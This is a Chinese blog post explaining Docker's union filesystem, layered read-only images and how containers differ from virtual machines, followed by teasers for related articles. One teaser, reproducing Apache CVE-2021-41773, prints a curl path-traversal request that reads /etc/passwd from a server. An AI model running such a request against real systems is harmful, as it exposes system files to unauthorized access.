p18 docker镜像原理之联合文件系统,p19 docker镜像分层的理解

news2025/2/23 23:17:18

镜像是什么

镜像其实就是一种轻量级的,可执行的一种软件包,用来打包基于环境开发的软件,里面可以包括代码,环境,数据库,配置文件等信息

如何得到镜像?

  1. 可以从镜像仓库下载比方说dockerhub 比方说harbor镜像仓库等等
  2. 通过自己手动写dockerfile来自己制作镜像
  3. 别人给你

docker镜像加载原理

这里先引用一波老师的笔记
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

下面是我自己对于这里的理解--------------------------
Docker 和联合文件系统之间的关系主要体现在分层存储和资源复用上。以安装 MySQL 为例,假设你需要安装两个不同版本的 MySQL:MySQL 5.7 和 MySQL 8.0。每个版本的 MySQL 都需要一些基础文件,但这些文件在不同版本之间可能存在重叠。

  1. 初始安装 MySQL 5.7
  • 假设 MySQL 5.7 需要文件 a、b、c 和 d。
  • 这些文件会被存储在一个基础镜像层中。
  1. 安装 MySQL 8.0
  • 假设 MySQL 8.0 需要文件 a、b、c 和 f。
  • 在安装过程中,Docker 会检查现有的镜像层,发现已经存在文件 a、b 和 c。

因此,Docker 只需要下载并添加文件 f 到一个新的层中。
通过这种方式,Docker 利用联合文件系统的特性,实现了文件的复用,大大节省了存储空间。具体来说:

  • 分层存储:每个版本的 MySQL 都有自己的层,基础文件(如 a、b 和 c)被存储在共享的基础层中。
  • 资源复用:新的版本(如 MySQL 8.0)只需要下载和存储与现有版本不同的部分(如文件 f),而不需要重复下载和存储相同的文件。
  • 高效管理: 这种机制不仅节省了存储空间,还简化了镜像管理和更新过程,使得多版本共存变得更加容易和高效。

总结起来,Docker 通过联合文件系统实现了高效的分层存储和资源复用,从而显著提升了存储效率和管理便利性。

docker镜像和虚拟机之间的区别
Docker 镜像与虚拟机的区别

  1. 操作系统复用:
  • 虚拟机:每个虚拟机都有一个完整的操作系统实例,包括内核、系统库和应用程序。因此,虚拟机镜像通常较大,因为它们包含了整个操作系统的所有组件。
  • Docker 容器:Docker 容器共享宿主机的操作系统内核,而不是每个容器都运行一个独立的操作系统实例。这意味着容器只需要包含运行应用程序所需的库和依赖项,而不需要重复包含操作系统的核心组件。
  1. 分层存储:
  • Docker 镜像:Docker 镜像是由多个层组成的。每一层都是只读的,只有最顶层是可写的。这些层可以被多个容器共享,从而节省存储空间。例如,多个基于相同基础镜像(如 Ubuntu 或 Alpine Linux)的容器可以共享同一基础层。
    虚拟机:虚拟机镜像是一个完整的、独立的文件系统,每个虚拟机都需要自己的文件系统和操作系统实例,因此占用更多的存储空间。
    启动速度:
  • Docker 容器:由于容器共享宿主机的内核,启动速度非常快,通常只需几秒钟。
    虚拟机:虚拟机需要启动一个完整的操作系统实例,启动时间较长,通常需要几分钟。
  1. 资源隔离:
  • Docker 容器:使用命名空间和控制组(cgroups)来实现资源隔离和限制,确保每个容器只能访问分配给它的资源。
  • 虚拟机:通过硬件虚拟化技术实现更强的隔离,但这也带来了额外的开销。
  1. 具体例子
    假设有两个 Docker 容器,一个运行 MySQL 5.7,另一个运行 MySQL 8.0:
  • 基础镜像层:两个容器都可以使用同一个基础镜像(如 ubuntu:20.04),这个基础镜像包含了操作系统的基本文件和工具。
  • 中间层:这两个容器可能共享一些中间层,这些层包含了共同的依赖库和配置文件。
  • 特定层:每个容器的特定层包含了各自版本的 MySQL 及其特有的配置文件和数据。
    通过这种方式,Docker 镜像可以非常高效地利用存储空间,同时保持良好的隔离性和可移植性。

总结
Docker 镜像之所以较小,主要是因为它们共享宿主机的操作系统内核,并且通过分层存储机制复用了大量的基础文件和依赖项。这不仅节省了存储空间,还提高了启动速度和管理效率。相比之下,虚拟机需要为每个实例提供完整的操作系统环境,因此体积更大,启动时间更长。

Docker 镜像的分层结构

这里还是先引用老师的笔记
在这里插入图片描述
下面是我自己的理解

  1. 基础镜像:
    每个 Docker 镜像都始于一个基础镜像。基础镜像通常是一个最小化的操作系统环境,例如 CentOS、Ubuntu 或 Alpine Linux。
    基础镜像包含了操作系统的核心文件和必要的工具。
  2. 中间层:
    在基础镜像之上,可以通过添加新的层来安装软件、配置环境等。
    每个新的层都是基于前一层的,并且只包含新增或修改的部分。
  3. 最终层:
    最终层是你的应用程序或服务所在的层,包含了所有必要的文件和配置

这里注意一点docker的镜像都是只读的!!!
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2158947.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

道路车辆功能安全 ISO 26262标准(2)—功能安全管理

写在前面 本系列文章主要讲解道路车辆功能安全ISO26262标准的相关知识,希望能帮助更多的同学认识和了解功能安全标准。 若有相关问题,欢迎评论沟通,共同进步。(*^▽^*) 1. 道路车辆功能安全ISO 26262标准 2. ISO 26262-2 功能安全管理 IS…

基于SpringBoot+Vue的旅游攻略平台管理系统

作者:计算机学姐 开发技术:SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等,“文末源码”。 专栏推荐:前后端分离项目源码、SpringBoot项目源码、Vue项目源码、SSM项目源码 精品专栏:Java精选实战项目…

论文不会写快来看!分享4款ai改写论文软件

在当今学术研究和写作领域,AI论文改写工具已经成为不可或缺的助手。这些工具不仅能够帮助研究人员提高写作效率,还能确保论文的质量和原创性。以下是四款值得推荐的AI改写论文软件,其中特别推荐千笔-AIPassPaper。 千笔-AIPassPaper 传送门&…

设计模式之命令模式:从原理到实战,深入解析及源码应用

命令模式 什么是命令模式? 命令模式(Command Pattern)是一种行为设计模式,它将一个请求封装为一个对象,从而允许使用不同的请求、队列或者日志来参数化对象,并支持可撤销的操作。命令模式的核心思想是将命令…

STM32在Keil5中利用Jansson库处理和组装JSON数据【详细版】

在Keil5中利用Jansson库处理和组装JSON数据 下载Keil.Jansson.1.0.0.pack https://keilpack.azureedge.net/pack/Keil.Jansson.1.0.0.packhttps://keilpack.azureedge.net/pack/Keil.Jansson.1.0.0.pack 下载完成后直接安装到keil5中即可 选择Jansson库的理由:轻量…

医学数据分析实训 项目三 关联规则分析预备项目---购物车分析

文章目录 1 预备项目关联规则分析实践———购物车分析1 产生频繁集2 产生关联规则 1 预备项目 关联规则分析实践———购物车分析 import warnings import numpy as np import pandas as pd from mlxtend.frequent_patterns import apriori from mlxtend.frequent_patterns …

【LVIO-SLAM】SVD分解,最小二乘与EKF

【LVIO-SLAM】SVD分解与应用推导 1.1 线性最小而二乘1.2 SVD分解算法流程问题描述算法流程算法复杂度总结 1.3 非线性最小二乘1.4 EKF融合 KF/ EKF推导过程 1.1 线性最小而二乘 针对A是任意矩阵的话使用SVD分解求解,其中U是AA转置的特征值,V是AA转置A的特…

iPhone 16 还剩一个月,微软开源新技术让手机以 6 倍速度提前跑上大模型

作者 | 微软亚洲研究院 责编 | 王启隆 出品 | AI 科技大本营(ID:rgznai100) 随着人工智能技术的飞速发展,将大语言模型(LLMs)部署到边缘设备上已成为当前 AI 领域的一个热门趋势。这一趋势不仅体现在微软 Windows 11 AI PC 等产品…

DFN:Data Filtering Networks

论文:https://arxiv.org/abs/2309.17425 代码:Data Filtering Networks | Papers With Code 阿里最近又开源了视觉多模态模型 Qwen2-VL,视觉编码器升级了,所以抓紧补一下DFN Qwen1-VL视觉编码器:OpenClip 的 ViT-bigG-14Qwen2-VL视觉编码器:DFN 的 ViT本文重点: 1:用…

选择排序(C语言实现)

目录 1.基本思想 2.代码实现 代码思路 代码实现 代码测试 3.复杂度分析 1)时间复杂度 2)空间复杂度 4.特性总结 1.基本思想 选择排序是一种简单直观的比较排序算法。该算法的基本思想是在每一轮中选出当前未排序部分的最小(或最大&a…

通义千问模型升级:2.5正式上线的使用体验

个人对比各AI大模型的使用体会 正在用的国内的AI大模型主要有“通义千问”、“文心一言”、“讯飞星火”,还有国外的"ChatGPT"和"Copilot",我觉得"通义千问"进步神速,因此现在我最常使用的就是"通义千问&…

【C++】C++11-新的类功能和可变参数模板

1、新的类功能 1.1 默认成员函数 原来C类中,有6个默认成员函数: 构造函数、析构函数、拷贝构造函数、赋值运算符重载、取地址重载、const取地址重载 C11增加了两个:移动构造函数、移动赋值运算符重载 自己实现这两个函数在上一篇文章中已…

Shelly实测天工的音乐创作功能,写了一首歌,来听听效果

​ 大家好,我是Shelly,一个专注于输出AI工具和科技前沿内容的AI应用教练,体验过300款以上的AI应用工具。关注科技及大模型领域对社会的影响10年。关注我一起驾驭AI工具,拥抱AI时代的到来。 在数字时代的洪流中,我始终…

16、斑马设备的ppocer-4进行文字识别,和opencv-mobile中文显示

基本思想:手上有个斑马设备,是客户的,简单记录一下开发过程和工程项目,同时记录跟着android小哥学习了很多anroid的知识,转ppocr-4参考之前的ppocr-3转换即可,整个框架仍然使用c++ ncnn jni框架推理和现实,图像库使用opencv-mobile 一、首先转paddle-cor-4 到ncnn的框架…

计算机复试相关问题

泰勒展开式 泰勒展开的目的是用多项式拟合一般函数。 拟合方法:保证多项式与原函数在x0处0到∞阶导都相同。 泊松分布 博客详解推导过程:概率论–泊松分布 IPv4和IPv6 IP 协议(Internet Protocol)是网络层的核心协议&#xf…

简单的spring缓存 Cacheable学习

简单的spring缓存 Cacheable学习 1.需求 项目中有很多的方法查询的数据其实是不会经常变的,但是其整体的查询sql以及调用第三方数据获取数据花费的时间很长,现在考虑对此类型的接口进行优化,首先想到的是对其进行缓存操作,所以简…

【数据结构与算法】十大经典排序算法深度解析:冒泡排序、选择排序、插入排序、归并排序、快速排序、希尔排序、堆排序、计数排序、桶排序、基数排序

💓 博客主页:倔强的石头的CSDN主页 📝Gitee主页:倔强的石头的gitee主页 ⏩ 文章专栏:《数据结构与算法》 期待您的关注 ​ 目录 引言 一、排序算法概述 排序算法简介 排序算法的分类 性能指标 二、十大排序算法…

小新 Pro13 + windows 11 家庭中文版(网络适配器及地址配置)

网络适配器位置及地址配置 网络适配器简介 计算机系统:网络适配器详解,全面剖析 网络适配器位置 不同于win11之前的版本,win11的网络适配器的位置如下: 1、右键 右下角的网络图标-》网络和internet设置-》高级网络设置-》可以…

Apache CVE-2021-41773 漏洞复现

1.打开环境 docker pull blueteamsteve/cve-2021-41773:no-cgid docker run -d -p 8080:80 97308de4753d 2.访问靶场 3.使用poc curl http://47.121.191.208:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd 4.工具验证

颍川陈氏——平民崛起的典范

园子说颍川 广州有一处老建筑“陈家祠”,豪华精美堪比皇宫,誉为“岭南建筑艺术明珠”、“新世纪羊城八景”之一,是全国文保单位,4A 级景区。主体建筑以中轴线三座厅堂为中心,由大小十九座单体建筑组成,占地…